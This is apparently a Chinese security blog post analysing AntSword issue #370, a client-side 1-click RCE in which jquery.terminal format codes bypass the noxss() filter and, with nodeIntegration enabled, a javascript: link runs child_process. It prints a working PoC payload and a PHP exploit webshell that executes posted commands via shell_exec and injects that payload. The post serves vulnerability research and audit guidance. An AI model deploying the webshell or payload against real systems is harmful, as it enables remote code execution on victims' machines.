蚁剑 (AntSword)最新 1-Click RCE 漏洞深度分析:从格式码注入到客户端反制
声明
本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。
0x01 前言
2026 年 4 月 24 日,安全研究员 s2cr3t 在 AntSword Project 官方 GitHub 仓库提交了一个编号为 #370 的严重安全漏洞报告。该漏洞源于antSword.noxss()函数过滤不完整,未能覆盖jquery.terminal格式码语法字符,导致恶意服务端可通过构造特定响应内容,在虚拟终端中注入javascript协议链接,最终实现客户端1-Click 远程代码执行 (RCE)。
0x02 背景
2.1 问题来源:👉 AntSword GitHub issue:
https://github.com/AntSwordProject/antSword/issues/370
虽然 issue 本身讨论较简略,但结合公开分析可以确认:
本质:HTML 解析 → XSS → Node.js RCE 漏洞链
该漏洞影响版本:
-
AntSword ≤ 2.1.15
|
|
|
|---|---|
| 漏洞类型 |
|
| 影响版本 |
|
| CVSS 评分 |
|
| 核心原因 |
|
| 利用条件 |
|
2.2 漏洞成因
蚁剑架构基于 Electron 开发,融合前端渲染 + Node.js 底层架构,桌面端 WebShell 管理工具。
其虚拟命令终端依赖 jquery.terminal 库实现,该组件支持自定义格式标签、超链接语法。
为防止 XSS 攻击,AntSword 实现了noxss()函数对服务端返回内容进行过滤,仅允许& ' > < "五个字符通过转义处理。
核心问题在于 noxss() 过滤发生在 jquery.terminal 格式码解析之前,形成了二次渲染的安全间隙。
同时,AntSword 默认配置nodeIntegration: true,这意味着渲染进程可以直接访问 Node.js 核心 API,包括child_process模块,为 XSS 升级为 RCE 提供了基础条件。
jquery.terminal v1.1.1使用[[!;;;;URL]{显示文本}]语法生成可点击链接,这些字符均未被过滤。[[!;;;;协议地址]{显示文本}]
javascript: 恶意协议,无任何拦截。0x03 漏洞复现
漏洞poc
通过恶意 PHP 服务端,在终端命令执行的响应内容中注入 jquery.terminal 格式码。
[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]
exp
<?php// 恶意WebShell,执行任意命令时返回包含恶意格式码的结果if(isset($_POST['ant'])){$cmd = base64_decode($_POST['ant']);// 执行命令并获取结果$output = shell_exec($cmd);// 注入jquery.terminal格式码,触发1-Click RCE$malicious = '[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]';// 返回拼接后的结果echo $output . "\n" . $malicious;}?>
触发流程

效果

0x04 总结
蚁剑 Issue#370 漏洞是典型的弱过滤 + 第三方组件漏洞 + 框架高危配置组合漏洞。在做客户端安全、Electron 安全或工具类产品的审计,可以重点盯三类点:第一,输入是否经过多层解析;第二,是否存在“先过滤、后组件化渲染”;第三,页面是否保留了高危能力,比如 nodeIntegration、不受限的协议处理、或者富文本。
交流群
src漏洞挖掘、web安全、网络攻防技术交流裙为下方左侧图片
右侧vx可技术交流/加群聊

💡历史推荐文章:
跨场景组件xss通杀:一个xss击穿知识库、云笔记、AI智能体
夜雨聆风